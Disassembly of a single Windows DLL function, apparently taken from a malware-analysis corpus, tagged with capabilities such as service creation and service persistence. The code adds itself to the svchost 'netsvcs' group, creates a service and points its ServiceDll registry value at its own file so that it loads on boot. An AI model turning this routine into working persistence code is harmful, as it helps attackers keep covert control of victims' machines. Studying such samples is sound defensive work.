Function at 0x1800053a0
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x1370]
mov eax, 0x1470
call fcn.18000b280
sub rsp, rax
mov rax, qword [0x180010010]
xor rax, rsp
mov qword [rbp + 0x1360], rax
mov rbx, rcx
mov qword [rbp - 0x50], 0xffffffff80000002
xor r15d, r15d
lea rcx, [rbp - 0x30]
xor edx, edx
mov qword [rbp - 0x48], r15
mov r8d, 0x1388
call sub.VCRUNTIME140.dll_memset
lea rdi, str.NewService
test rbx, rbx
je 0x180005405
cmp byte [rbx], r15b
cmovne rdi, rbx
lea rax, [rbp - 0x50]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18000574b
mov rcx, qword [rbp - 0x50]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x3c]
lea rax, [rbp - 0x30]
mov dword [rbp - 0x40], 0x1388
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.netsvcs
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x18000577f
mov r9d, dword [rbp - 0x3c]
lea rcx, str._s__d__d
mov r8d, dword [rbp - 0x40]
mov rdx, rdi
mov qword [rsp + 0x1498], rsi
mov qword [rsp + 0x14a0], r14
call fcn.1800059f0
lea rbx, [rbp - 0x30]
mov rsi, 0xffffffffffffffff
cmp byte [rbp - 0x30], r15b
je 0x1800054e6
nop
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1800054e6
mov rdx, rbx
lea rcx, [0x18000c824]
call fcn.1800059f0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strchr]
cmp byte [rax + 1], r15b
lea rbx, [rax + 1]
jne 0x1800054b0
jmp 0x1800054eb
cmp byte [rbx], r15b
jne 0x18000553c
mov rcx, rdi
sub rbx, rdi
movzx eax, byte [rcx]
mov byte [rbx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800054f1
mov rcx, rsi
inc rcx
cmp byte [rdi + rcx], r15b
jne 0x180005502
mov eax, dword [rbp - 0x40]
lea rdx, str.netsvcs
inc eax
mov r9d, 7
add ecx, eax
xor r8d, r8d
mov dword [rsp + 0x28], ecx
lea rax, [rbp - 0x30]
mov dword [rbp - 0x40], ecx
mov rcx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r14, rax
test rax, rax
je 0x18000579d
mov qword [rsp + 0x60], r15
lea rax, str._SystemRoot_System32_svchost.exe__k_netsvcs
mov qword [rsp + 0x58], r15
mov r9d, 0xf01ff
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov rdx, rdi
mov qword [rsp + 0x40], r15
mov rcx, r14
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov r15, rax
test rax, rax
je 0x1800057b9
mov rdx, rdi
lea rcx, str.CreateService__s__SUCCESS._Config_it
call fcn.1800059f0
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, 0x1388
mov qword [rbp - 0x50], 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x64
lea rcx, [rbp - 0x30]
mov rdx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
mov rcx, qword [rbp - 0x50]
lea rax, [rbp - 0x50]
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800057ed
mov rcx, qword [rbp - 0x50]
lea r8, [rbp - 0x48]
lea rdx, str.Parameters
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x18000581b
mov rcx, qword [0x180011cd0]
lea rdx, [rbp - 0x30]
mov r8d, 0x1388
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180005837
lea rax, [rbp - 0x30]
inc rsi
cmp byte [rax + rsi], 0
jne 0x180005685
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x30]
inc esi
lea rdx, str.ServiceDll
mov dword [rsp + 0x28], esi
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x18000572f
mov rdx, rdi
lea rcx, str.Config_service__s_ok.
call fcn.1800059f0
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x1498]
xor eax, eax
mov r14, qword [rsp + 0x14a0]
mov rcx, qword [rbp + 0x1360]
xor rcx, rsp
call fcn.18000a060
mov rbx, qword [rsp + 0x14a8]
add rsp, 0x1470
pop r15
pop rdi
pop rbp
ret
lea rax, str.RegSetValueEx_ServiceDll_
lea rdx, [0x18000e608]
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x58]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea rcx, str.RegOpenKeyEx__s__KEY_QUERY_VALUE_error__d.
call fcn.1800059f0
lea rax, [0x18000c4d8]
lea rdx, [0x18000e608]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rax, str.RegQueryValueEx_Svchost_netsvcs_
lea rdx, [0x18000e608]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rax, str.OpenSCManager__
lea rdx, [0x18000e608]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, str.CreateService__s__error__d
mov r8d, eax
call fcn.1800059f0
lea rax, [0x18000c4d8]
lea rdx, [0x18000e608]
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
mov r8d, eax
lea rcx, str.RegOpenKeyEx__s__KEY_SET_VALUE_error__d.
mov rdx, rdi
call fcn.1800059f0
lea rax, [0x18000c4d8]
lea rdx, [0x18000e608]
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rax, str.RegCreateKey_Parameters_
lea rdx, [0x18000e608]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rax, str.GetModuleFileName___get_dll_path
lea rdx, [0x18000e608]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3